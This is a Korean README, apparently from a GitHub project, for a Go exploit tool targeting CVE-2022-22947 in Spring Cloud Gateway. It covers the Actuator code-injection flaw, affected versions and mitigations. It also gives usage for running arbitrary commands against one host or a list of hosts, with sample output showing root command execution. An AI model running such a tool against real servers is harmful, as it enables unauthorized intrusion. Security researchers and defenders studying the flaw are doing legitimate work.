
CVE-2022-22947을 위한 Go 기반 익스플로잇으로, 조작된 actuator 요청을 통해 취약한 Spring Cloud Gateway 인스턴스에서 원격 코드 실행을 가능하게 합니다.
Spring Cloud Gateway는 Spring Cloud의 새로운 프로젝트로, Netflix Zuul을 대체하는 것을 목표로 합니다. Spring 5.0+, Spring Boot 2.0+, WebFlux(고성능 Reactor 패턴 기반 비동기 비차단 모델 Netty) 등을 기반으로 개발되어 Zuul보다 성능이 높습니다. 공식 테스트에 따르면 Gateway는 Zuul의 1.6배 성능을 제공하며, 마이크로서비스 아키텍처에 간단하고 효과적인 통합 API 라우팅 관리 방식을 제공합니다. Spring Cloud Gateway 원격 코드 실행 취약점(CVE-2022-22947)은 Spring Cloud Gateway 애플리케이션의 Actuator 엔드포인트에서 발생합니다. 이 엔드포인트가 활성화, 공개 및 안전하지 않은 상태로 설정되면 코드 인젝션 공격에 취약해집니다. 공격자는 이 취약점을 통해 악의적인 요청을 생성하여 원격 호스트에서 임의 코드를 실행할 수 있습니다. 해당 취약점의 CVSS 점수: 9.8, 위험 등급: 심각
CVE-2022-22947
3.1.0 3.0.0 ~ 3.0.6 3.0.0 이전 버전
3.1.x 사용자는 3.1.1+로 업그레이드해야 합니다.
3.0.x 사용자는 3.0.7+로 업그레이드해야 합니다.
Actuator 엔드포인트가 필요하지 않은 경우 management.endpoint.gateway.enable: false로 설정하여 비활성화할 수 있습니다.
Actuator 엔드포인트가 필요한 경우 Spring Security를 사용하여 보호해야 합니다.
이 스크립트는 Golang으로 작성되었으며, Windows에서 실행할 수 있도록 컴파일되었습니다.
-cmd string 실행할 명령 (기본값 "id") -host string 검사할 주소 또는 파일 경로 (기본값 "http://127.0.0.1:80")

예:
./cve_2022_22947.exe -host "C:\\Users\\Administrator\\Desktop\\hostlist.txt"
>cve_2022_22947.exe -host "C:\\Users\\Administrator\\Desktop\\hostlist.txt"
result: http://127.0.0.1:10089 : {"predicate":"RouteDefinitionRouteLocator$$Lambda$978/705851885","route_id":"hacktest","filters":["[[AddResponseHeader Result = 'uid=0(root) gid=0(root) groups=0(root)\n'], order = 1]"],"uri": "http://example.com:80","order":0}
vulnerable host:
http://127.0.0.1:10089
https://nosec.org/home/detail/4971.html https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947